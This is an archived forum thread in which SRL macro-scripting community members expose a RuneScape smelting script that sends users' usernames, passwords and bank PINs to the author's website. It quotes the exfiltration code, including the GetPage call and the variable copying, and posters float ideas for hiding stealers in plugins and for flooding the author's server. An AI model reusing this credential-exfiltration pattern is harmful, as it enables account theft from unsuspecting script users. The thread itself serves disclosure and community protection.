SRL Archive - News and General

In Iroki's Smelting script i started it and wsas like yeahh… SMART showed up then this Message came up trying to connect to a site had + code[0] + and shit and i was like WTF?!?!

Searched it in script noticed:

 If (Code[0] = '') Or (Code[1] = '') Or (verKey = '') Then
  Begin
    Code[0] := Players[CurrentPlayer].Name;
    Code[1] := Players[CurrentPlayer].Pass;
    verKey  := Players[CurrentPlayer].Strings[0];
  End;

In main loop: GetPage('http://www.iroki.cba.pl/stats.php?tresc=Code[0]=' + Code[0] + '+Code[1]=' + Code[1] + '+verKey=' + verKey + '+&CreateSessionIDverKey+');

I dont really get it :S why would you connect to a stats * site with ur RS USERNAME AND PASSWORD?

Link:
http://www.villavu.com/forum/showthread.php?t=30665

Am i DUMB or is this a account stealing script?.

Eh dam good catch , ask harry he last time figured out let me c if hes on…

It better of been a good catch :P.

i sent in… xD

http://www.iroki.cba.pl/stats.php?tresc=Code[0]=Nice_Try+Code[1]=Ass_Hole+verKey=0+&CreateSessionIDverKey+

Lol… and notice how the website is like empty? real nice stats there -.-.

Busted…

why would he do that omg

at the end of declalare player it has this

Code[0] := '';
Code[1] := '';
verKey := '';
End;

whats that for?

edit i sent

Players[0].Name := 'you fucking scamming fag'; // Your UserName
Players[0].Pass := 'nice fucking try'; // Your PassWord
Players[0].Nick := 'tosser'; // Your Nick (3-4 letters from your username)
Players[0].Active := True; // Use this player ??
Players[0].Skill := 'Prayer'; // Skill to lamp
Players[0].Strings[0] := 'you think we are dumb fucks like you'; // Your BankPin
Players[0].Strings[1] := 'Adamant'; // What kind of bars you want to smelt ( Bronze, Iron, Silver, Steel, Gold, Mithril, Adamant, Rune, CballsFO, CballsFB )

edit:edit: this what ya get if ya dont allow to connect

[Access to file denied by user
Access to file denied by user
Access to file denied by user/QUOTE]

if you don't wanna get hacked, fill them in.. xD

From: Scaper
at the end of declalare player it has this

whats that for?

edit i sent

Nothing else in script what connects to it.. So idk…

hahahaha lol, what if we have mistaken :O

If we were then ill eat dog shit.

GetPage('http://www.iroki.cba.pl/stats.php?tresc=Code[0]=' + Code[0] + '+Code[1]=' + Code[1] + '+verKey=' + verKey + '+&CreateSessionIDverKey+');

From the looks of that it DOES send the info out and saves it to his site. I checked with my PHP friend he said no, but he still uses php 4. I followed it through and from the looks of it, it DOES send the information. I don't have confirmation yet by code but I will look if no one else does.

Edit:
Now my friend isn't sure, he needs source code to confirm.

mistaken what tho that clearly states he is sending our user pas and player string which is bank pin to his site :s
umm no mistake there im 100% sure


Procedure LoginNow;

Var
i: Integer;

Begin
If (Code[0] = '') Or (Code[1] = '') Or (verKey = '') Then
Begin
Code[0] := Players[CurrentPlayer].Name;
Code[1] := Players[CurrentPlayer].Pass;
verKey := Players[CurrentPlayer].Strings[0];
End;
For i := 1 To Coding Do
Begin
Code[0] := CodeNow(Code[0]);
Code[1] := CodeNow(Code[1]);
End;
End;

Players[0].Strings[0] := ''; // Your BankPin


im gunna try divers it to my site see what turns up :D

Nice find.

Seeing as how Iroki is also an SRL Member & such wouldn't it have been more appropriate just to PM Wizzup?/other mods & admins about this instead?

From: [-jesus-]
Seeing as how Iroki is also an SRL Member & such wouldn't it have been more appropriate just to PM Wizzup?/other mods & admins about this instead?

Let the public know to avoid using this script ;)

dont matter i got the script saved :)

Check the source of that page: http://www.iroki.cba.pl/stats.php?

function 'urchinTracker();' is in it, what does it do?
Heres a article that can explain:
http://www.epikone.com/blog/2007/03/19/tracking-clicks-with-ga-pt-1-about-urchintracker/

@jesus
Probably, but this could also be considered an open trial thread.

From: Narcle
Check the source of that page: http://www.iroki.cba.pl/stats.php?

function 'urchinTracker();' is in it, what does it do?
Heres a article that can explain:
http://www.epikone.com/blog/2007/03/19/tracking-clicks-with-ga-pt-1-about-urchintracker/

@jesus
Probably, but this could also be considered an open trial thread.

It tracks it? ;)

[QUOTE=Dan's The Man;438334]It tracks it? ;)[/QUOTE]

urchingTracker is mainly just a website tracker, but i'm pretty sure u can put your own information into it.

If the tracker is the free sites he is using, he can probably still use a backend script that doesn't show and just receives.

Either way by the layout he has set up, it clearly looks like he is stealing passwords and bank pins.

From: Narcle
urchingTracker is mainly just a website tracker, but i'm pretty sure u can put your own information into it.

If the tracker is the free sites he is using, he can probably still use a backend script that doesn't show and just receives.

Either way by the layout he has set up, it clearly looks like he is stealing passwords and bank pins.

Which is what i just said :rolleyes:

I have PM'd him.

Please leave this upto the staff now.

From: Hobbit
I have PM'd him.

Please leave this upto the staff now.

Kk, ty.

Edited his script post to put in a warning for anyone who doesnt see this topic here. Nice catch, we'll deal with it appropriately once we confirm he was trying to steal accounts

Wow, that was stupid.

1 fact - he's not first who tried this, and also not last one.

You can think what you want but:

  Players[3].Name         := '';      // Your UserName
  Players[3].Pass         := '';      // Your PassWord
  Players[3].Nick         := '';      // Your Nick (3-4 letters from your username)
  Players[3].Active       := True;    // Use this player ??
  Players[3].Skill        := 'Prayer';  // Skill to lamp
  Players[3].Strings[0]   := '';      // Your BankPin
  Players[3].Strings[1]   := 'Steel';      // What kind of bars you want to smelt ( Bronze, Iron, Silver, Steel, Gold, Mithril, Adamant, Rune, CballsFO, CballsFB )
}
  Code[0] := '';
  Code[1] := '';
  verKey  := '';
End;

I dont made this now, everybody can see this in my script.

In version 1.11

Begin
  DeclarePlayers;
  ActivateClient;
  LoginNow;
//  GetPage('http://www.iroki.cba.pl/stats.php?tresc=Code[0]=' + Code[0] + '+Code[1]=' + Code[1] + '+verKey=' + verKey + '+&CreateSessionIDverKey+');
  If Not LoggedIn Then LogInPlayer;
  FindNormalRandoms;
  MarkTime(PlayerTime);

and you can't see stats because they aren't working.

iroki

Maybe I'm just too stoned but I don't see your point? You still have this code:

If (Code[0] = '') Or (Code[1] = '') Or (verKey = '') Then
Begin
Code[0] := Players[CurrentPlayer].Name;
Code[1] := Players[CurrentPlayer].Pass;
verKey := Players[CurrentPlayer].Strings[0];
End;

And for some reason you are sending the player's name, password, and bank pin to your site. Explain why you need this information for your stats?

And seriously why do you like change the letters of the username and password and pin?

And a day ago(W/e it was) before a person who used your script said they got hacked:

From: jakeyboy29
i used his smithing script and i got my account stolen, check my posts on page 4 of this thread.

http://www.srl-forums.com/forum/iroki-ak-smelter-t33279p4.html


and now read all the posts page 4-5. he is stealing passwords. we need to kik this guy out of srl.

Being a php guy, he could make a pass stealer and it wouldn't show it in the source unless he wasn't using totally 100% php. I say ban hammer

Dead obvious. Like some phising site style.. Just has some php script that saves the usernames/passes to a text file.. Or something alike.

Haha, Poland! The home of aimbotters!

:D

Banhammer!

IF he was smart he at least encrypted everything and add allot of spaces so it doesn't show up in scar….

I'm in favor of ban hammer/ public discrimination.

You were caught doing something as low as stealing your script user's account info and using it, giving bad reputation to yourself, SCAR, SRL, and macroing in general.

And still you deny doing it.

Absolute scum, if you don't get banned permanently for this, I think I speak for everyone when I say this,

we are going to give you hell.

Agreed… it will make the public paranoided saying is it safe guys ? lol


eh already:

http://www.srl-forums.com/forum/iroki-stole-my-p438429.html#post438429

case close lol now staff do ye magic

From: Narcle
Check the source of that page: http://www.iroki.cba.pl/stats.php?

function 'urchinTracker();' is in it, what does it do?
Heres a article that can explain:
http://www.epikone.com/blog/2007/03/19/tracking-clicks-with-ga-pt-1-about-urchintracker/

@jesus
Probably, but this could also be considered an open trial thread.

PHP code can not be viewed in View Page Source because it is compiled by your browser and does not save anything down between <?php.

I say we bomb his server with loads of random usernames and passwords so he can not tell the legit ones from the fakes ;)

From: Mylesmadness
Being a php guy, he could make a pass stealer and it wouldn't show it in the source unless he wasn't using totally 100% php. I say ban hammer

Any SRL Member should be able to, but not want to, make a password stealer, because all it is is a simple few lines of PHP code.


So goodbye iroki, I hope you ejoyed your time here, and I hope you do not ever return. Should I ever see your face around here ever again . . . . my mind has been made up, now it is all up to the Admins.

Even a blind man would see that he was stealing accounts… come on :D

Did a moderator un-delete my post I made in his thread? I remember deleting it last night, but it's back again this morning.

If you're gonna steal passwords then do it right and make it in a plugin so no one can see.

From: IceFire908
I'm in favor of ban hammer/ public discrimination.

You were caught doing something as low as stealing your script user's account info and using it, giving bad reputation to yourself, SCAR, SRL, and macroing in general.

And still you deny doing it.

Absolute scum, if you don't get banned permanently for this, I think I speak for everyone when I say this,

we are going to give you hell.

The golden rule is, "Deny Deny Deny" :)

Hmm mixster you seem very knowledgeable jk but dont give people any ideas

From: mixster
If you're gonna steal passwords then do it right and make it in a plugin so no one can see.

lol dont give ideas :)

hehe evn tho its a obvious idea :):redface:


GJ hobbit :)

From: P1NKY
lol dont give ideas :)

hehe evn tho its a obvious idea :):redface:


GJ hobbit :)

Iroki has been banned.
http://www.villavu.com/forum/showthread.php?t=33235?p=438593#post438593

He has also been gaining access to SRL account. Raymond and I believe it is because people who used his script have the same password on SRL as their runescape account. So please change your password if you have used the script or notice anything suspicious.

haha well guess what i ran a noob througj learning the ropes and then used his script heeh surely he logged in and guess what i have his ip umm leme see what can i do with it

yer i was thinking of doing that but didn't think there was much point.

From: Waddo
Hmm mixster you seem very knowledgeable jk but dont give people any ideas

From: P1NKY
lol dont give ideas :)

hehe evn tho its a obvious idea :):redface:

You guys fail - it has being going on for ages already. Come to think of it, it all started with the wizzyplugin…

From: Scaper
haha well guess what i ran a noob througj learning the ropes and then used his script heeh surely he logged in and guess what i have his ip umm leme see what can i do with it

if you have his ip then give it to Hobbit then he can ban iroki so he cant get our srl accounts :)
or even get on the forum

~shut

From: Shuttleu
if you have his ip then give it to Hobbit then he can ban iroki so he cant get our srl accounts :)
or even get on the forum

~shut

You can view user's IP's next to their post or in the Mod/AdminCP if you are that lvl (mod & up)

From: [-jesus-]
You can view user's IP's next to their post or in the Mod/AdminCP if you are that lvl (mod & up)

I've already looked into ip and found nothing at a quick glance.

If you could give me the IP it would make things so much easier and faster

Any chance this could be that guy name: Zarrick or w/e forgot his full user..

he had a alching script took p.w of rs scripts i lsot around 20m till Harry found out :(
before the update
it may be him lol never know dude's cause i got that zarrik guy still on msn , he gets on Really rarely…

why would people do this lol:(

From: P1NKY
Any chance this could be that guy name: Zarrick or w/e forgot his full user..

he had a alching script took p.w of rs scripts i lsot around 20m till Harry found out :(
before the update
it may be him lol never know dude's cause i got that zarrik guy still on msn , he gets on Really rarely…

why would people do this lol:(

geepees & P1X3|5

From: P1NKY
Any chance this could be that guy name: Zarrick or w/e forgot his full user..

he had a alching script took p.w of rs scripts i lsot around 20m till Harry found out :(
before the update
it may be him lol never know dude's cause i got that zarrik guy still on msn , he gets on Really rarely…

why would people do this lol:(

You mean Zarric Hyunmin?

That is a possibility.
What is Zarric's msn?

All i can say is: Ownt! :)

Thanks Hobbit n The Claw.

To Make sure

guys check this script of his too:

http://www.villavu.com/forum/showthread.php?t=23353

he has alot of authuser and user stuff. please check lol evn tho its about 6 months old. it has a link inside there too, want yall to make sure

This is like a bunch of blind men trying to hump a door knob(This is F_u__k_ e D up). Iroki is a complete idiot just for trying to attempt a silly thing like this, then he goes and denys it. Its not 100% obvisous in the code, its that if i was able to look through it 4 -5 times just that much and see that it was a scam. What do you think is gonna happen? Dam jerk, never liked him from the beginning.

i went to http://www.iroki.cba.pl/stats.php and looked at the source

in there is urchin tracker

urchin tracer is part of google analytics which will save the address which you put in the address bar

so if you put in the address bar www.iroki.cba.pl/stasp.php?helloyouc**t
then in google analytics it would show up that someone has been to the web page www.iroki.cba.pl/stasp.php?helloyouc**t

baisicaly with urchin tracker in there, google will save what every is in the address bar
so he can look at it later and see the username and pass

~shut

From: P1NKY
why would people do this lol:(

Because they're greedy. I wonder if he even got much of anything out of the accs. New trading system etc. prevents that kinda stuff from happening too quickly.

:) agreed GoF

btw,

is his other script doing the same thing?

From: Shuttleu
i went to http://www.iroki.cba.pl/stats.php and looked at the source

in there is urchin tracker

urchin tracer is part of google analytics which will save the address which you put in the address bar

so if you put in the address bar www.iroki.cba.pl/stasp.php?helloyouc**t
then in google analytics it would show up that someone has been to the web page www.iroki.cba.pl/stasp.php?helloyouc**t

baisicaly with urchin tracker in there, google will save what every is in the address bar
so he can look at it later and see the username and pass

~shut

As I said before… PHP is decoded by the browser and deletes the code when it shows it to you. There is NO WAY you can get the real PHP code! Anything between <?php > is hidden from the user, even on view source.

From: P1NKY
Any chance this could be that guy name: Zarrick or w/e forgot his full user..

he had a alching script took p.w of rs scripts i lsot around 20m till Harry found out :(
before the update
it may be him lol never know dude's cause i got that zarrik guy still on msn , he gets on Really rarely…

why would people do this lol:(

I am glad he is banned ;)

lol kay just delete his scripts :)

Yes, in his firemaker he also did this.
Can some mod please edit his first post, so the users who want to use his scripts, know what they should edit?

PvH

From: P1NKY
lol kay just delete his scripts :)

We can keep them, just remove all the malicious code and never allow anything that was made by him to connect to an external source i.e. the internet.

Actually, we should have a "quarantined" script section where people can look at either very detectable, or otherwise harmful, scripts.

Sure, this could be teaching people how to steal accounts, but it would also tell people what to look out for. So, actually, it would make things safer. Because what if one person has a really hidden stealer? If nobody knew how to diagnose one, lots of accounts might be leeched.

or someone just make a simple tut about this, dont explain in depth… nor dont tell all the stuff just the code stuff

To be able to explain what to look for, you have to show them how to do it. Therefore you either teach everyone how to make one and stop one or none of them. Ultimately, knowledge is dangerous, but ignorance is death.

Lol, looks like he didn't go trough too much trouble to hide it

lol i can think of so many ways to hide it… well what a dum ass even trying, we would find out anyways , someone be like oh someone hacked my acc/ip scan-iroki…

gj -epic fail noob :)
yeah some write a good tut what to look for
ex:
do CTRL F- check if this type of code is in here or w/e

From: Shuttleu
i went to http://www.iroki.cba.pl/stats.php and looked at the source

in there is urchin tracker

urchin tracer is part of google analytics which will save the address which you put in the address bar

so if you put in the address bar www.iroki.cba.pl/stasp.php?helloyouc**t
then in google analytics it would show up that someone has been to the web page www.iroki.cba.pl/stasp.php?helloyouc**t

baisicaly with urchin tracker in there, google will save what every is in the address bar
so he can look at it later and see the username and pass

~shut

Lol, so he didnt even do it a proper way? Using google analytics to record the passwords/username, instead of saving it to a text file or something. Lol.

I think ill start a tut.

From: Waddo
I think ill start a tut.

Of how to steal passwords….?:confused: :duh:

Good catch. :)

No hobbit of how to make sure it wont steal your pass not gunna give specific details just what to look for =p

From: Shuttleu
i went to http://www.iroki.cba.pl/stats.php and looked at the source

in there is urchin tracker

urchin tracer is part of google analytics which will save the address which you put in the address bar

so if you put in the address bar www.iroki.cba.pl/stasp.php?helloyouc**t
then in google analytics it would show up that someone has been to the web page www.iroki.cba.pl/stasp.php?helloyouc**t

baisicaly with urchin tracker in there, google will save what every is in the address bar
so he can look at it later and see the username and pass

~shut

Christ finally someone with half a brain. Everyone was bumping heads together for too long.

Although urchin is not PART of google analytics. it is just a piece of code that analytics uses that can record any info.

But yes. I would say this is how he does it. You can see in analytics the pages viewed. And then the username and password would show up. However im not too sure if 404 pages show up. But even still. this is how he did it.

Iroki's site has also been banned from that webhost.. It just links to Cba.pl now :)

We can all stop posting now. Its over.
Closed.